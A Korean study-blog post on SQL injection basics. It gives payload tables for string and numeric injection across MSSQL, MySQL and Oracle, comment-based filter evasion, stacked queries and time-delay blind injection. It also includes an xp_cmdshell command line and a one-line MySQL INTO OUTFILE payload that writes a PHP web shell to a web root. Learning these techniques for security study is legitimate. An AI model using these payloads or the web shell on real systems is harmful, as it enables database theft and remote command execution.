일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- SQL Injection basic
- web 취약점
- 웹 기초
- portswigger academy
- 공부하는 블로그
- 웹 해킹 기초
- JavaScript
- JS
- Union injection
- Injection 숫자형
- HTTP request smuggling
- SQL INJECTION DB NAME
- sql 인젝션 기초
- php-fpm
- nginx
- sql injection 데이터 추출
- SQL 주석
- DOM 객체
- SQL having group by
- 웹서버구축
- sql injection
- Injection 공격 기초
- Injection 취약점
- SQL 인젝션
- Linux
- web 보안
- http 취약점
- BOM 객체
- sql injection table name
- 웹 보안
- Today
- Total
IMLENA
SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 본문
2021.09.02 - [WEB] - SQL Injection 기초 - DB Error 기준
SQL Injection 을 위해 가장 기본적으로 숫자와 문자의 구분이 필요하다.
숫자
select * from exam where idsubject=2
select * from exam where score > 80
문자
select * from exam where subject='math'
select * from exam where middate > '01/06/2021'
참고 숫자의 문자 취급
select '2' + '2' 의 경우 4가 아니라 '22' 가되며 숫자형이 아닌 문자로 인식된다.
단 Mysql의 경우 select '2' '2';가 '22' 이며 '2'+'2'는 4로 인식한다.
* 인라인 인젝션
인라인 인젝션이란 기존 SQL 쿼리일부에 삽입해 실행시키는 것이다.
- 문자열 형태
select * from user where id='' and pw='';
ID에만 ' or '1'='1 입력
select * from user where id='' or '1'='1' and pw='';
SQL 에서 AND연산과 OR연산이 같이 있을 경우 AND연산이 우선순위가 높아서 먼저 실행된다.
mysql> select * from user where id='' or '1'='1' and pw=''; Empty set (0.00 sec) |
select * from user where (id='' or '1'='1') and pw='';
이기 때문에 거짓이 나온다.
OR 구문을 추가하여 참을 만들어 주면 원하던 결과가 출력된다.
mysql> select * from user where id='' or 1=1 or '1'='1' and pw=''; +-------+-------+ | id | pw | +-------+-------+ | hola | hola | | nihao | nihao | | ohayo | ohayo | | cava | cava | | lena | lena | +-------+-------+ 5 rows in set (0.00 sec) |
select * from user where id='' or [1=1 or ('1'='1' and pw='')];
'1'='1' and pw='' 거짓 false
1=1 or false 참 true
id='' or true 참 true
문자형 Inline
문자열 | 변형 | 예상되는 결과 |
에러발생 | ||
1' or '1'='1 | 1') or ('1'='1 | 항상 참, 모든 행을 반환 |
value' or '1'='2 | value') or ('1'='2 | 조건 없음, 성공시 원래 value 값을 입력했을 때와 같은 결과 예상 |
1' and '1'='2 | 1')and('1'='2 | 항상 거짓, 성공시 데이터 반환 하지 않음 |
1'or 'ab'='a'+'b | 1')or('ab'='a'+'b | MSSQL, 성공시 참 |
1'or 'ab'='a' 'b | 1')or('ab'='a' 'b | MYSQL 성공시 참 |
1'or 'ab'='a'||'b | 1')or('ab'='a'||'b | ORACLE, 성공시 참 |
-숫자형 형태
문자열 | 변형 | 예상되는 결과 |
에러발생, 성공시 DB에러 | ||
1+1 | 3-1 | 성공시 연산 결과 반환 |
VALUE+0 | 성공시 원래 요청과 같은 데이터 반환 | |
1 or 1=1 | 1) or (1=1 | 항상 참, 성공시 모든 행반환 |
value or 1=2 | value) or (1=2 | 성공시 원래 value 값의 결과가 반환 |
1 and 1=2 | 1)and(1=2 | 항상거짓, 성공시 데이터 반환 없음 |
1 or 'ab'='a'+'b' | 1) or ('ab'='a'+'b' | MSSQL 성공시 조건과 동일한 값 반환 |
1 or 'ab'='a' 'b' | 1) or ('ab'='a' 'b' | MYSQL 성공시 조건과 동일한 값 반환 |
1 or 'ab'='a'||'b' | 1) or ('ab'='a'||'b' | ORACLE 성공시 조건과 동일한 값 반환 |
-주석처리(구문종료)
DB | 주석 처리 | |
MS/ORACLE | -- | 한줄 주석 |
/* */ | 구간 주석 | |
MySQL | # | 한줄 주석 |
/* */ | 다중 주석 | |
-- | 한줄주석, -- 뒤에 띄어 쓰기 필수 |
#보충
공백이나 -- 가 필터링 된 경우 다음의 경우를 생각 해볼 수 있다.
select * from user where id='hola'/*' and pw='*/'';
'' 공백이라 영향을 미치지 않는 듯
주석을 제외하면
select * from user where id='hola' '';
또는 select * from user where id=''/**/or/**/1=1/**/or/**/'1'='1' and pw='';
공백이 들어가야하는자리에 /**/ 으로 대체 -> 짧고 간단한 다른 방법들이 존재함
- 다중구문 실행
아래와 같이 ;를 넣어 쿼리를 중단하고 다른 쿼리를 넣는 기법
mysql> select id from user; select pw from user; +-------+ | id | +-------+ | hola | | nihao | | ohayo | | cava | | lena | +-------+ 5 rows in set (0.00 sec) +-------+ | pw | +-------+ | hola | | nihao | | ohayo | | cava | | lena | +-------+ 5 rows in set (0.00 sec) |
EX)
select * from item where idx=3; select * from item having 1=1 group by id;--
로 에러를 발생시켜 정보 확인
#보충
MySQL 기준 Having과 GROUP BY
Having은 where과 같은 조건절이다.
Group by는 그룹을 묶고 집계의 결과를 보여 줄 때 사용한다.
mysql> select * from item group by idx having idx > 4; +-----+--------+-------+ | idx | name | price | +-----+--------+-------+ | 5 | laptop | 1000 | | 6 | shirts | 550 | +-----+--------+-------+ 2 rows in set (0.00 sec) |
mysql> select * from item group by price having count(price) > 1; +-----+------+-------+ | idx | name | price | +-----+------+-------+ | 1 | car | 1000 | +-----+------+-------+ 1 row in set (0.00 sec) |
기존 테이블 mysql> select * from item; +-----+------------+-------+ | idx | name | price | +-----+------------+-------+ | 1 | car | 1000 | | 2 | bag | 500 | | 3 | plasticbag | 50 | | 4 | oil | 1500 | | 5 | laptop | 1000 | | 6 | shirts | 550 | +-----+------------+-------+ 6 rows in set (0.00 sec) |
mysql> select idx, count(price) from item group by price; +-----+--------------+ | idx | count(price) | +-----+--------------+ | 1 | 2 | | 2 | 1 | | 3 | 1 | | 4 | 1 | | 6 | 1 | +-----+--------------+ 5 rows in set (0.00 sec) |
mysql> select * from item group by price having count(price) = 1; +-----+------------+-------+ | idx | name | price | +-----+------------+-------+ | 2 | bag | 500 | | 3 | plasticbag | 50 | | 4 | oil | 1500 | | 6 | shirts | 550 | +-----+------------+-------+ 4 rows in set (0.00 sec) |
having 은 group by 절 뒤에서 사용
group by는 where 절 뒤에서 사용
#시스템 명령 실행
MSSQL
idx=2;exec master..xp_cmdshell 'ping www.google.com';--
MySQL with PHP
select '<?php echo shell_exec($_GET["cmd"]);?>' into outfile '/var/www/site/shell.php';--
'< >' 코드를 /var/~경로에 출력
- 시간지연
애플리케이션에서 어떤한 에러도, 데이터도 출력 하지 않는 경우에 사용
MSSQL | WAITFOR DELAY 'hours:minutes:seconds' |
MySQL | sleep( ) 이용 mysql> select * from item where substr(name,1,1)='b' and sleep(2); Empty set (2.01 sec) 앞의 조건이 참인 경우 mysql> select * from item where substr(name,1,1)='a' and sleep(2); Empty set (0.00 sec) 앞의 조건이 거짓인 경우 Benchmark( ) 이용 mysql> select * from item where idx=1 and benchmark(2000000,md5('a')); Empty set (0.38 sec) idx=1 값이 존재 mysql> select * from item where idx=10 and benchmark(2000000,md5('a')); Empty set (0.00 sec) idx=10 값이 존재하지 않는 경우 |
ORACLE | DBMS_LOCK.SLEEP() 이용 * 오라클은 중복쿼리 지원안함, DBMS_LOCK 패키지는 DB관리자에 의해서만 실행가능 하다는 제약이 존재 |
출처:철통보안 SQL 인젝션, 공격과 방어의 원리
'WEB' 카테고리의 다른 글
SQL Injection - DB 스키마 열거 (0) | 2021.09.06 |
---|---|
SQL Injection 기초 - 일반적인 SQL 인젝션 공격 (0) | 2021.09.03 |
HTTP request smuggling 취약점 3 - exploit, mitigation (0) | 2021.09.03 |
SQL Injection 기초 - DB Error 기준 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 2 (0) | 2021.09.02 |